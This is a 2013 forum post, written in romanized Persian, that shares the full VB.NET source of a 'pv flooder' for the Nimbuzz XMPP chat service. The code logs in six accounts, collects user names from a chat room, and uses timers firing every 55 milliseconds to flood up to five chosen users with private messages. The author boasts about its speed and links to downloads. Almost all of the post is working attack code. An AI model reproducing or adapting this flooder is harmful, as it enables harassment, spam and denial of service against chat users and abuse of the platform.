ers4n new member
Posts : 2 Emtiaz : 38337 Thanked : 1 Join date : 2013-09-29
| Subject: Freebuzz hidden room user pv flooder . soft and code coded bY ers4n@nC Sun Nov 03, 2013 11:50 am | |
| ba salam be hameye dustan
omid varam khoobo salamt bashid
hamontor ke gofte boodam vere badie pv floodo edame midam va hamin karam kardam ama ba in tafavot ke tedade idha bishtar shode
1-yani idhayi bishtari mitoni login va varede room k.o.n.i
2-tedade target ha bishtar shode yani shoma mitonid ba 6 ta id be 5 ta target pv flood bedid
3- speedesh sar sam avar shode Very Happy
ziad vaghtetono nemigiram tozihate bishtar dar dakhele khode soft ghesmate help hast
inam codeshe mizaram vase yad giri - Code:
-
Imports agsXMPP Imports System.IO Imports agsXMPP.Xml.Dom Imports agsXMPP.protocol.client Imports System.Text Public Class Form1 Dim ersi1 As agsXMPP.XmppClientConnection = New agsXMPP.XmppClientConnection Dim ersi2 As agsXMPP.XmppClientConnection = New agsXMPP.XmppClientConnection Dim ersi3 As agsXMPP.XmppClientConnection = New agsXMPP.XmppClientConnection Dim ersi4 As agsXMPP.XmppClientConnection = New agsXMPP.XmppClientConnection Dim ersi5 As agsXMPP.XmppClientConnection = New agsXMPP.XmppClientConnection Dim ersi6 As agsXMPP.XmppClientConnection = New agsXMPP.XmppClientConnection
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
With ersi1 .Server = "nimbuzz.com" .ConnectServer = "o.nimbuzz.com" .Open(TextBox1.Text, TextBox7.Text) .Resource = "Nimbuzz_Symbian145987" AddHandler .OnLogin, AddressOf loged1 AddHandler .OnReadXml, AddressOf Xml1 AddHandler .OnAuthError, AddressOf wrong1 AddHandler .OnClose, AddressOf dc1 End With With ersi2 .Server = "nimbuzz.com" .ConnectServer = "o.nimbuzz.com" .Open(TextBox2.Text, TextBox7.Text) .Resource = "Nimbuzz_MIDP4994" AddHandler .OnLogin, AddressOf loged2 AddHandler .OnReadXml, AddressOf Xml2 AddHandler .OnAuthError, AddressOf wrong2 AddHandler .OnClose, AddressOf dc2 End With With ersi3 .Server = "nimbuzz.com" .ConnectServer = "o.nimbuzz.com" .Open(TextBox3.Text, TextBox7.Text) .Resource = "Android4994" AddHandler .OnLogin, AddressOf loged3 AddHandler .OnReadXml, AddressOf Xml3 AddHandler .OnAuthError, AddressOf wrong3 AddHandler .OnClose, AddressOf dc3 End With With ersi4 .Server = "nimbuzz.com" .ConnectServer = "o.nimbuzz.com" .Open(TextBox4.Text, TextBox7.Text) .Resource = "Nimbuzz_MIDP4994" AddHandler .OnLogin, AddressOf loged4 AddHandler .OnReadXml, AddressOf Xml4 AddHandler .OnAuthError, AddressOf wrong4 AddHandler .OnClose, AddressOf dc4 End With With ersi5 .Server = "nimbuzz.com" .ConnectServer = "o.nimbuzz.com" .Open(TextBox5.Text, TextBox7.Text) .Resource = "Nimbuzz_MIDP4994" AddHandler .OnLogin, AddressOf loged5 AddHandler .OnReadXml, AddressOf Xml5 AddHandler .OnAuthError, AddressOf wrong5 AddHandler .OnClose, AddressOf dc5 End With With ersi6 .Server = "nimbuzz.com" .ConnectServer = "o.nimbuzz.com" .Open(TextBox6.Text, TextBox7.Text) .Resource = "Nimbuzz_MIDP4994" AddHandler .OnLogin, AddressOf loged6 AddHandler .OnReadXml, AddressOf Xml6 AddHandler .OnAuthError, AddressOf wrong6 AddHandler .OnClose, AddressOf dc6 End With End Sub Private Sub loged1(ByVal sender As Object) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf loged1), New Object() {sender}) Else TextBox1.BackColor = Color.LightSeaGreen
End If
End Sub Private Sub wrong1(ByVal sender As Object, ByVal e As agsXMPP.Xml.Dom.Element) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.XmppElementHandler(AddressOf wrong1), New Object() {sender, e}) Else
TextBox1.BackColor = Color.Red
End If End Sub Private Sub dc1(ByVal sender As Object) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf dc1), New Object() {sender}) Else TextBox1.BackColor = Color.Pink
End If End Sub Private Sub Xml1(ByVal sender As Object, ByVal a As String) On Error Resume Next If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.XmlHandler(AddressOf Xml1), New Object() {sender, a}) Else
End If a = Replace(a, """", "'") If InStr(a, "<body>Enter the right answer to start chatting. ", CompareMethod.Text) <> 0 Then Dim msg As String = Microsoft.VisualBasic.Mid(a, InStr(a, "<body>Enter the right answer to start chatting. ") + 48) msg = Microsoft.VisualBasic.Left(msg, InStr(msg, "</body>") - 1) PictureBox1.Load(msg) End If If (InStr(a, "code='307'")) And (InStr(a, "code='110'")) <> 0 Then TextBox11.BackColor = Color.Red MsgBox("Wrong answer id 1" + vbNewLine + " dobare typ kon eshteb zadi") ersi1.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox11.Text + "'/>") TextBox7.BackColor = Color.White End If If (InStr(a, "code='301'")) Then MsgBox("id 1 banned in room") End If If (InStr(a, "affiliation=")) <> 0 Then If Not (InStr(a, "type='groupchat'")) <> 0 Then If Not (InStr(a, "role='none'")) <> 0 Then If Not (InStr(a, "actor jid=")) <> 0 Then Dim user As String user = a.Substring(a.IndexOf("jid='") + 5) user = user.Substring(0, user.IndexOf("@") - 0)
If user.ToString = "admin" Or user.ToString = TextBox8.Text Or user.ToString = TextBox1.Text Or user.ToString = TextBox2.Text Or user.ToString = TextBox2.Text Or user.ToString = TextBox3.Text Or user.ToString = TextBox4.Text Or user.ToString = TextBox5.Text Then Return End If ListBox1.Items.Add(user) End If End If End If End If
End Sub Private Sub loged2(ByVal sender As Object) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf loged2), New Object() {sender}) Else TextBox2.BackColor = Color.LightSeaGreen
End If
End Sub Private Sub loged3(ByVal sender As Object) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf loged3), New Object() {sender}) Else TextBox3.BackColor = Color.LightSeaGreen
End If
End Sub Private Sub loged4(ByVal sender As Object) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf loged4), New Object() {sender}) Else TextBox4.BackColor = Color.LightSeaGreen
End If
End Sub Private Sub loged5(ByVal sender As Object) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf loged5), New Object() {sender}) Else TextBox5.BackColor = Color.LightSeaGreen
End If
End Sub Private Sub loged6(ByVal sender As Object) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf loged6), New Object() {sender}) Else TextBox6.BackColor = Color.LightSeaGreen
End If
End Sub Private Sub wrong2(ByVal sender As Object, ByVal e As agsXMPP.Xml.Dom.Element) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.XmppElementHandler(AddressOf wrong2), New Object() {sender, e}) Else
TextBox2.BackColor = Color.Red
End If End Sub Private Sub wrong3(ByVal sender As Object, ByVal e As agsXMPP.Xml.Dom.Element) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.XmppElementHandler(AddressOf wrong3), New Object() {sender, e}) Else
TextBox3.BackColor = Color.Red
End If End Sub Private Sub wrong4(ByVal sender As Object, ByVal e As agsXMPP.Xml.Dom.Element) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.XmppElementHandler(AddressOf wrong4), New Object() {sender, e}) Else
TextBox4.BackColor = Color.Red
End If End Sub Private Sub wrong5(ByVal sender As Object, ByVal e As agsXMPP.Xml.Dom.Element) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.XmppElementHandler(AddressOf wrong5), New Object() {sender, e}) Else
TextBox5.BackColor = Color.Red
End If End Sub Private Sub wrong6(ByVal sender As Object, ByVal e As agsXMPP.Xml.Dom.Element) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.XmppElementHandler(AddressOf wrong6), New Object() {sender, e}) Else
TextBox6.BackColor = Color.Red
End If End Sub Private Sub dc2(ByVal sender As Object) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf dc2), New Object() {sender}) Else TextBox2.BackColor = Color.Pink
End If End Sub Private Sub dc3(ByVal sender As Object) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf dc3), New Object() {sender}) Else TextBox3.BackColor = Color.Pink
End If End Sub Private Sub dc4(ByVal sender As Object) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf dc4), New Object() {sender}) Else TextBox4.BackColor = Color.Pink
End If End Sub Private Sub dc5(ByVal sender As Object) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf dc5), New Object() {sender}) Else TextBox5.BackColor = Color.Pink
End If End Sub Private Sub dc6(ByVal sender As Object) If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.ObjectHandler(AddressOf dc6), New Object() {sender}) Else TextBox6.BackColor = Color.Pink
End If End Sub Private Sub Xml2(ByVal sender As Object, ByVal a As String) On Error Resume Next If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.XmlHandler(AddressOf Xml2), New Object() {sender, a}) Else
End If a = Replace(a, """", "'") If InStr(a, "<body>Enter the right answer to start chatting. ", CompareMethod.Text) <> 0 Then Dim msg As String = Microsoft.VisualBasic.Mid(a, InStr(a, "<body>Enter the right answer to start chatting. ") + 48) msg = Microsoft.VisualBasic.Left(msg, InStr(msg, "</body>") - 1) PictureBox2.Load(msg) End If If (InStr(a, "code='307'")) And (InStr(a, "code='110'")) <> 0 Then TextBox12.BackColor = Color.Red MsgBox("Wrong answer id 1" + vbNewLine + " dobare typ kon eshteb zadi") ersi2.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox12.Text + "'/>") TextBox7.BackColor = Color.White End If If (InStr(a, "code='301'")) Then MsgBox("id 2 banned in room") End If End Sub Private Sub Xml3(ByVal sender As Object, ByVal a As String) On Error Resume Next If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.XmlHandler(AddressOf Xml3), New Object() {sender, a}) Else
End If a = Replace(a, """", "'") If InStr(a, "<body>Enter the right answer to start chatting. ", CompareMethod.Text) <> 0 Then Dim msg As String = Microsoft.VisualBasic.Mid(a, InStr(a, "<body>Enter the right answer to start chatting. ") + 48) msg = Microsoft.VisualBasic.Left(msg, InStr(msg, "</body>") - 1) PictureBox3.Load(msg) End If If (InStr(a, "code='307'")) And (InStr(a, "code='110'")) <> 0 Then TextBox13.BackColor = Color.Red MsgBox("Wrong answer id 1" + vbNewLine + " dobare typ kon eshteb zadi") ersi3.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox13.Text + "'/>") TextBox7.BackColor = Color.White End If If (InStr(a, "code='301'")) Then MsgBox("id 3 banned in room") End If End Sub Private Sub Xml4(ByVal sender As Object, ByVal a As String) On Error Resume Next If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.XmlHandler(AddressOf Xml4), New Object() {sender, a}) Else
End If a = Replace(a, """", "'") If InStr(a, "<body>Enter the right answer to start chatting. ", CompareMethod.Text) <> 0 Then Dim msg As String = Microsoft.VisualBasic.Mid(a, InStr(a, "<body>Enter the right answer to start chatting. ") + 48) msg = Microsoft.VisualBasic.Left(msg, InStr(msg, "</body>") - 1) PictureBox4.Load(msg) End If If (InStr(a, "code='307'")) And (InStr(a, "code='110'")) <> 0 Then TextBox14.BackColor = Color.Red MsgBox("Wrong answer id 1" + vbNewLine + " dobare typ kon eshteb zadi") ersi4.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox14.Text + "'/>") TextBox7.BackColor = Color.White End If End Sub Private Sub Xml5(ByVal sender As Object, ByVal a As String) On Error Resume Next If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.XmlHandler(AddressOf Xml5), New Object() {sender, a}) Else
End If a = Replace(a, """", "'") If InStr(a, "<body>Enter the right answer to start chatting. ", CompareMethod.Text) <> 0 Then Dim msg As String = Microsoft.VisualBasic.Mid(a, InStr(a, "<body>Enter the right answer to start chatting. ") + 48) msg = Microsoft.VisualBasic.Left(msg, InStr(msg, "</body>") - 1) PictureBox5.Load(msg) End If If (InStr(a, "code='307'")) And (InStr(a, "code='110'")) <> 0 Then TextBox15.BackColor = Color.Red MsgBox("Wrong answer id 1" + vbNewLine + " dobare typ kon eshteb zadi") ersi5.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox15.Text + "'/>") TextBox7.BackColor = Color.White End If End Sub Private Sub Xml6(ByVal sender As Object, ByVal a As String) On Error Resume Next If MyBase.InvokeRequired = True Then MyBase.BeginInvoke(New agsXMPP.XmlHandler(AddressOf Xml6), New Object() {sender, a}) Else
End If a = Replace(a, """", "'") If InStr(a, "<body>Enter the right answer to start chatting. ", CompareMethod.Text) <> 0 Then Dim msg As String = Microsoft.VisualBasic.Mid(a, InStr(a, "<body>Enter the right answer to start chatting. ") + 48) msg = Microsoft.VisualBasic.Left(msg, InStr(msg, "</body>") - 1) PictureBox6.Load(msg) End If If (InStr(a, "code='307'")) And (InStr(a, "code='110'")) <> 0 Then TextBox16.BackColor = Color.Red MsgBox("Wrong answer id 1" + vbNewLine + " dobare typ kon eshteb zadi") ersi6.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox16.Text + "'/>") TextBox7.BackColor = Color.White End If If (InStr(a, "code='301'")) Then MsgBox("id 6 banned in room") End If End Sub Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click ersi1.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>" + TextBox11.Text + "</body></message>") TextBox7.Text = "" End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click ersi1.Close() ersi2.Close() ersi3.Close() ersi4.Close() ersi5.Close() ersi6.Close() End Sub Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click ersi1.Send("<presence type='unavailable' to='" + TextBox8.Text + "@conference.nimbuzz.com/freebuzz' />") ersi2.Send("<presence type='unavailable' to='" + TextBox8.Text + "@conference.nimbuzz.com/freebuzz' />") ersi3.Send("<presence type='unavailable' to='" + TextBox8.Text + "@conference.nimbuzz.com/freebuzz' />") ersi4.Send("<presence type='unavailable' to='" + TextBox8.Text + "@conference.nimbuzz.com/freebuzz' />") ersi5.Send("<presence type='unavailable' to='" + TextBox8.Text + "@conference.nimbuzz.com/freebuzz' />") ersi6.Send("<presence type='unavailable' to='" + TextBox8.Text + "@conference.nimbuzz.com/freebuzz' />") End Sub Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click ersi1.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>" + TextBox12.Text + "</body></message>") TextBox12.Text = "" End Sub Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click ersi2.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>" + TextBox13.Text + "</body></message>") TextBox13.Text = "" End Sub Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click ersi3.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>" + TextBox14.Text + "</body></message>") TextBox14.Text = "" End Sub Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click ersi4.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>" + TextBox15.Text + "</body></message>") TextBox15.Text = "" End Sub Private Sub Button10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button10.Click ersi5.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>" + TextBox16.Text + "</body></message>") TextBox16.Text = "" End Sub Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click ersi1.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox1.Text + "'/>") ersi2.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox2.Text + "'/>") ersi3.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox3.Text + "'/>") ersi4.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox4.Text + "'/>") ersi5.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox5.Text + "'/>") ersi6.Send("<presence to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox6.Text + "'/>") End Sub Private Sub Button11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button11.Click Timer1.Interval = "55" Timer1.Enabled = True Timer2.Interval = "55" Timer2.Enabled = True Timer4.Interval = "55" Timer4.Enabled = True Timer5.Enabled = True Timer5.Interval = "55" Timer6.Enabled = True Timer6.Interval = "55" Timer7.Enabled = True Timer7.Interval = "55" Timer8.Enabled = True Timer8.Interval = "55" End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick ersi1.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox17.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi2.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox17.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi3.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox17.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi4.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox17.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi5.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox17.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi6.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox17.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
ersi1.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox18.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi2.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox18.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi3.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox18.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi4.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox18.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi5.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox18.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi6.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox18.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
ersi1.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox19.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi2.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox19.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi3.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox19.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi4.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox19.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi5.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox19.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi6.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox19.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
ersi1.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox20.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi2.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox20.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi3.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox20.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi4.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox20.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi5.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox20.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi6.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox20.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
ersi1.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox21.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi2.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox21.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi3.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox21.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi4.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox21.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi5.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox21.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>") ersi6.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox21.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
End Sub Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick ersi1.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body> </body></message>") ersi2.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body> </body></message>") ersi3.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body> </body></message>") ersi4.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body> </body></message>") ersi5.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body> </body></message>") ersi6.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body> </body></message>") End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load BackgroundImageLayout = ImageLayout.Stretch End Sub
Private Sub Button12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button12.Click Timer1.Enabled = False End Sub
Private Sub Button13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button13.Click MessageBox.Show("https://freebuzz.ir", "freebuzz") End Sub
Private Sub Button14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button14.Click MessageBox.Show("Message is fixed", "message fix return") End Sub End Class hammontor ke dustan to verisone ghabl nazar dade bodan ke saize soft bozorge kochik tarsh kardam mamnon misham pishnehadat va enteghadate khodetono too hamin topic begid ke age vere badi dar kar bashe hamash bartyaraf she linke1: [You must be registered and logged in to see this link.]linke2: [You must be registered and logged in to see this link.]scan: [You must be registered and logged in to see this link.]movafaqo sar boland bashid |
|